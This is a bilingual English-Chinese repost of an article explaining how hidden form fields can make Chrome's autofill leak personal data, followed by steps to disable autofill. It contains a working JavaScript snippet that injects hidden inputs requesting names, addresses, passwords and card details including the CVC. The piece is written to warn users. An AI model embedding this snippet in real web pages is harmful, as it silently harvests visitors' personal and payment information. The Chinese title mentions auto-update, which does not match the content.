chrome关闭自动升级_为什么Chrome的自动完成功能不安全以及如何将其关闭

chrome关闭自动升级

Chrome has yet to fix a well-known vulnerability first publicized way back in 2013.

Chrome尚未修复已知的漏洞， 最早可追溯到2013年 。

Basically, a hacker can hide form input fields on a web page, which Chrome will then fill in with your personal information if you opt to use its autocomplete feature.

基本上，黑客可以在网页上隐藏表单输入字段，然后，如果您选择使用自动填充功能，Chrome就会在其中填写您的个​​人信息。

Here’s what this looks like:

看起来是这样的：

GitHub user haampie demonstrated this with the following JavaScript script:

GitHub用户haampie通过以下JavaScript脚本进行了演示：

var autocompletes = ['name', 'honorific-prefix', 'given-name',  'additional-name', 'family-name', 'honorific-suffix',  'nickname', 'username', 'new-password',  'current-password', 'organization-title', 'organization',  'street-address', 'address-line1', 'address-line2',  'address-line3', 'address-level4', 'address-level3',  'address-level2', 'address-level1', 'country',  'country-name', 'postal-code', 'cc-name', 'cc-given-name',  'cc-additional-name', 'cc-family-name', 'cc-exp',  'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',  'transaction-currency', 'transaction-amount',  'language', 'bday', 'bday-day', 'bday-month',  'bday-year', 'sex', 'url', 'photo', 'tel',  'tel-country-code', 'tel-national',  'tel-area-code', 'tel-local', 'tel-local-prefix',  'tel-local-suffix', 'tel-extension', 'impp'];emailField.addEventListener('focus', function() {  var wrap = autocompletes.reduce(function(wrapper, field) {    var input = document.createElement('input');        // Make them not focussable    input.tabIndex = -1;    input.autocomplete = field;        wrapper.appendChild(input);    return wrapper;  }, document.createElement('div'));  // Hide the wrapper  wrap.classList.add('hidden');  form.appendChild(wrap);  // Inject the autocompletes once  this.removeEventListener('focus', arguments.callee);});

I recommend you turn off Chrome’s autocomplete feature immediately.

我建议您立即关闭Chrome的自动完成功能。

在Chrome中关闭自动完成功能的最快方法 (The fastest way to turn off autocomplete in Chrome)

1. Paste this into Chrome’s address bar: chrome://settings/autofill

   将此内容粘贴到Chrome的地址栏中： chrome://settings/autofill

2. Press escape to exit the “manage autofill settings” modal
   按Escape键退出“管理自动填充设置”模式
3. Uncheck the autofill checkbox
   取消选中自动填充复选框

Now you’re good to go. You may have to type a bit more, but you can have the peace of mind that hackers won’t be able to steal your personal data using this well-known exploit.

现在您可以开始了。 您可能需要多键入一些内容，但是您可以放心，黑客将无法使用此众所周知的漏洞来窃取您的个人数据。

翻译自: https://www.freecodecamp.org/news/why-your-browsers-autocomplete-is-insecure-and-you-should-turn-it-off-ebc73d7bcefd/

chrome关闭自动升级